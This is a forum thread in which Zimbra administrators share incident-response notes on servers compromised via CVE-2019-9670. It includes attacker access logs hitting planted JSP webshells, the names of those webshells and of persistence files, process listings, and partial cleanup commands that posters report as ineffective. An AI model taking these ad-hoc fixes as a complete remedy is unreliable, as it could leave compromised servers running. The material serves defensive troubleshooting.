CVE-2019-9670 being actively exploited (Hacked Server)

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
weber369
Posts: 1
Joined: Fri Jul 12, 2019 5:44 am

Re: CVE-2019-9670 being actively exploited

Post by weber369 »

I've been attacked on 8.6, patch 14, zmcpustat leave to my server again and again, so I protect /opt/zimbra/log/access_log file first, put "chattr +a /opt/zambra/log/access*" to root crontab, and chattr +i /var/spool/cron/zimbra , next day, 'zmcpustat' and 'zmcpustart' files come again.

Code: Select all

91.232.125.211 -  -  [11/Jul/2019:18:12:43 +0000] "POST /public/-bHTnqO.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 8037
 91.232.125.211 -  -  [11/Jul/2019:18:12:54 +0000] "POST /public/jsp/CryptCore.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1;rv:66.0) Gecko/20100101 Firefox/66.04" 330
91.232.125.211 -  -  [11/Jul/2019:18:12:55 +0000] "POST /public/-bHTnqO.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 347
91.232.125.211 -  -  [11/Jul/2019:18:12:57 +0000] "POST /zimbraAdmin/public/jsp/Debug.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 2024 
91.232.125.211 -  -  [11/Jul/2019:18:13:00 +0000] "POST /portals/example/static.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 335
91.232.125.211 -  -  [11/Jul/2019:18:13:02 +0000] "POST /public/jsp/PortalCore.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 334
91.232.125.211 -  -  [11/Jul/2019:18:13:03 +0000] "POST /zimbraAdmin/public/flash/player.jsp HTTP/1.0" 500 1419 "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 367
91.232.125.211 -  -  [11/Jul/2019:18:13:05 +0000] "POST /public/-bHTnqO.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 324
91.232.125.211 -  -  [11/Jul/2019:18:13:06 +0000] "POST /zimbraAdmin/public/jsp/access.jsp HTTP/1.0" 500 1419 "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 340
91.232.125.211 -  -  [11/Jul/2019:18:13:08 +0000] "POST /public/-bHTnqO.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 383
91.232.125.211 -  -  [11/Jul/2019:18:13:09 +0000] "POST /public/-bHTnqO.jsp HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:66.0) Gecko/20100101 Firefox/66.04" 317
-bHTnqO.jsp will execute a /bin/sh shell, so hacker can do anything in my server, delete it in /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/ with
rm -- '-bHTnqO.jsp'

Delete following files in /opt/zimbra/jetty-distribution-9.1.5.v20140505/

webapps/zimbra/public/-bHTnqO.jsp
webapps/zimbraAdmin/public/jsp/Alert.jsp, access.jsp
webapps/zimbraAdmin/public/flash/player.jsp
webapps/zimbra/public/jsp/CryptCore.jsp, PortalCore.jsp

Replace webapps/zimbraAdmin/public/jsp/Debug.jsp from zimbra source file
Last, unload all zmlet plugin, I worder some plugin be load to my server these days

I hope this will keep my server safe and help somebody....
edtricklam
Posts: 5
Joined: Mon Nov 05, 2018 2:23 pm

Re: CVE-2019-9670 being actively exploited

Post by edtricklam »

I fight with this problems over a months.
It will automatic regenerate a file
"zmcpustat, zmcpustarter, zmwatchdog...." in /opt/zimbra/log
"zmiostat ....." in /var/tmp
"zmreplchk, zmreplchk_pid...." in /tmp

According to https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls

Need to view file whether add a hacker code. Details please see above link.
Some files is running /opt/zimbra/bin/...... you need to ps -eaf |grep file , and then kill it. So that you can delete hacker file. (For me, I just create a empty one and then chattr +i that file... because it auto regenerate again... I still find a problem)

Also need to check cronjob under /var/spool/cron/crontabs/zimbra. To see whether have hacking task. (Same as previous post to advise)

I have cleaned all and then upgrade to 8.8.12_GA_3807. But I still got file (zmreplchk in /tmp) , I empty it again and chattr +i that file. Let see any suspicious file again.

Above just share my experience ....
I still fight with this problem. Hope any other professional share more details to solve out.

Thanks
User avatar
maxxer
Outstanding Member
Outstanding Member
Posts: 224
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by maxxer »

edtricklam wrote: find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
these commands are indication of what could be performed. specifically they find the files modified in the last 15 days, but i.e. if your infection is older the hacker files won't show off by this queries.

Maybe in your case it's better to try the rpm/dpkg commands. Otherwise you can try setting up a new Zimbra from scratch and copy over the jetty directory
rickaotc
Posts: 25
Joined: Thu Jul 07, 2016 12:28 pm
ZCS/ZD Version: Release 8.8.15_GA_3829.RHEL7_64_201

Re: CVE-2019-9670 being actively exploited

Post by rickaotc »

maxxer wrote:
edtricklam wrote: find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
these commands are indication of what could be performed. specifically they find the files modified in the last 15 days, but i.e. if your infection is older the hacker files won't show off by this queries.

Maybe in your case it's better to try the rpm/dpkg commands. Otherwise you can try setting up a new Zimbra from scratch and copy over the jetty directory
I'm running .zcs 8.8.12 p3, and I get:

$ find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
33298390 28 -rw-r----- 1 zimbra zimbra 25133 Jul 3 10:29 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/h/repeat$Helper.class
33298053 12 -rw-r----- 1 zimbra zimbra 11456 Jul 1 12:05 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/h/maddrbooks$Helper.class
35392810 4 -rw-r----- 1 zimbra zimbra 2839 Jul 12 14:40 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/tag/web/mobile/moDoFolderTree_tag$Helper.class
35653830 16 -rw-r----- 1 zimbra zimbra 13803 Jul 1 12:05 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/tag/web/overview/addressBookAction_tag$Helper.class
33297795 8 -rw-r----- 1 zimbra zimbra 4610 Jul 12 14:40 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/m/mobriefcases$Helper.class
33161482 4 -rw-r----- 1 zimbra zimbra 1339 Jul 3 11:00 /opt/zimbra/jetty/work/zimbraAdmin/jsp/org/apache/jsp/public_/admin_jsp$1.class

Should we be concerned?
User avatar
maxxer
Outstanding Member
Outstanding Member
Posts: 224
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by maxxer »

rickaotc wrote:Should we be concerned?
if you've updated zimbra components in the last 15d no. :) otherwise you should perhaps open the files and see what's inside, or compare them to a new installation of the same version of Zimbra
edtricklam
Posts: 5
Joined: Mon Nov 05, 2018 2:23 pm

Re: CVE-2019-9670 being actively exploited

Post by edtricklam »

Updating.... I tried to delete and chattr +i suspect file, it still automatic create other suspect file in /opt/zimbra/libexec.
Example file: zmtrainsa , zmmysqlstatus, zmjavaext, zmldappasswd, zmloggerctl (latest one)
and then in ps -eaf |grep zm , you will see

zimbra 782 781 0 06:49 ? 00:00:06 /usr/bin/perl /opt/zimbra/libexec/zmlogger
zimbra 881 782 0 06:49 ? 00:00:00 zmlogger: zmrrdfetch: server
root 1980 7827 0 09:14 pts/1 00:00:00 grep --color=auto zm
root 25467 1 0 Jul20 ? 00:00:00 /opt/zimbra/libexec/zmmailboxdmgr start -Dfile.encoding=UTF-8 -server -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -Djdk.tls.client.protocols=TLSv1,TLSv1.1,TLSv1.2 -Djava.awt.headless=true -Dsun.net.inetaddr.ttl= -Dorg.apache.jasper.compiler.disablejsr199=true -XX:+UseG1GC -XX:SoftRefLRUPolicyMSPerMB=1 -XX:-OmitStackTraceInFastThrow -verbose:gc -Xlog:gc*=debug,safepoint=info:file=/opt/zimbra/log/gc.log:time:filecount=20,filesize=10m -Djava.net.preferIPv4Stack=true -Xss256k -Xms1996m -Xmx1996m -Xmn499m
zimbra 26900 1 0 Jul20 ? 00:03:48 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-proc
zimbra 26902 1 0 Jul20 ? 00:00:27 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-cpu
zimbra 26904 1 0 Jul20 ? 00:00:37 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-vm
zimbra 26906 1 0 Jul20 ? 00:00:19 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-io -x
zimbra 26915 1 0 Jul20 ? 00:00:02 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-df
zimbra 26919 1 0 Jul20 ? 00:00:19 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-io
zimbra 26921 1 0 Jul20 ? 00:00:00 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-fd
zimbra 26924 1 0 Jul20 ? 00:12:59 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-allprocs
zimbra 26926 1 0 Jul20 ? 00:02:20 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-mysql
zimbra 26930 1 0 Jul20 ? 00:00:37 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-mtaqueue
zimbra 26934 1 0 Jul20 ? 00:04:44 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-nginx
zimbra 26938 1 0 Jul20 ? 00:07:17 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-ldap
root 27856 26921 0 Jul20 ? 00:00:00 sudo /opt/zimbra/libexec/zmstat-fd
root 27860 27856 0 Jul20 ? 00:01:18 /usr/bin/perl -w /opt/zimbra/libexec/zmstat-fd
zimbra 31962 1 0 06:48 ? 00:01:16 /opt/zimbra/common/lib/jvm/java/bin/java -XX:ErrorFile=/opt/zimbra/log -client -Xmx256m -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -Djdk.tls.client.protocols=TLSv1,TLSv1.1,TLSv1.2 -Djava.net.preferIPv4Stack=true -Dzimbra.home=/opt/zimbra -Djava.library.path=/opt/zimbra/lib -classpath /opt/zimbra/common/lib/jvm/java/lib/ext:/opt/zimbra/lib/jars:/opt/zimbra/lib/ext-common/*:/opt/zimbra/lib/ext/clamscanner/*:/opt/zimbra/lib/ext/zimbra-license/*:/opt/zimbra/lib/ext/twofactorauth/*:/opt/zimbra/lib/ext/com_zimbra_ssdb_ephemeral_store/*:/opt/zimbra/lib/jars/*:/opt/zimbra/conf -Djava.io.tmpdir=/opt/zimbra/data/tmp -Dpython.cachedir.skip=true org.python.util.jython /opt/zimbra/libexec/zmconfigd
zimbra 32294 1 0 08:00 ? 00:00:00 /opt/zimbra/libexec/zmloggerctl

zmloggerctl is suspect file, kill process first and then delete inside , chattr +i this file....

Although server didn't stop any service, it still a risk....
Any expert have any idea to clean up ?? Please help
Thanks
mrpontifex
Posts: 15
Joined: Mon Oct 10, 2016 11:29 am
ZCS/ZD Version: 8.7.11_3800

Re: CVE-2019-9670 being actively exploited

Post by mrpontifex »

edtricklam wrote:Updating.... I tried to delete and chattr +i suspect file, it still automatic create other suspect file in /opt/zimbra/libexec.
Are you sure that you don't have unwanted lines in your crontab? Because some script that recreates this supsect files is still working on your server.
Paulo Henrique
Posts: 1
Joined: Mon Aug 05, 2019 12:50 pm

Re: CVE-2019-9670 being actively exploited

Post by Paulo Henrique »

Hello.
i am Searching for solution for this problem, but not located.

I closed port 443 for my Zimbra Servers, after this the servers not mining, but users not access webmail externally.

i'm configuryng thunderbird for users for solution temporary.

exist a solution for this problem? if exist, where is? link, tutorial?

you closed the port 443?
User avatar
zimico
Outstanding Member
Outstanding Member
Posts: 225
Joined: Mon Nov 14, 2016 8:03 am
Location: Vietnam
ZCS/ZD Version: 8.8.15 P3
Contact:

Re: CVE-2019-9670 being actively exploited

Post by zimico »

Hi Paulo,
According to Zimbra the best way to mitigate this is to rebuild the system. Please have a look at https://wiki.zimbra.com/wiki/Steps_To_R ... ZCS_Server

Best regards,
Minh.
User avatar
maxxer
Outstanding Member
Outstanding Member
Posts: 224
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: CVE-2019-9670 being actively exploited

Post by maxxer »

Paulo Henrique wrote:i am Searching for solution for this problem, but not located.
please read the thread and the provided links more carefully.

anyway the best way to recover is (in short) to install a fresh new system and migrate data using zextras
Post Reply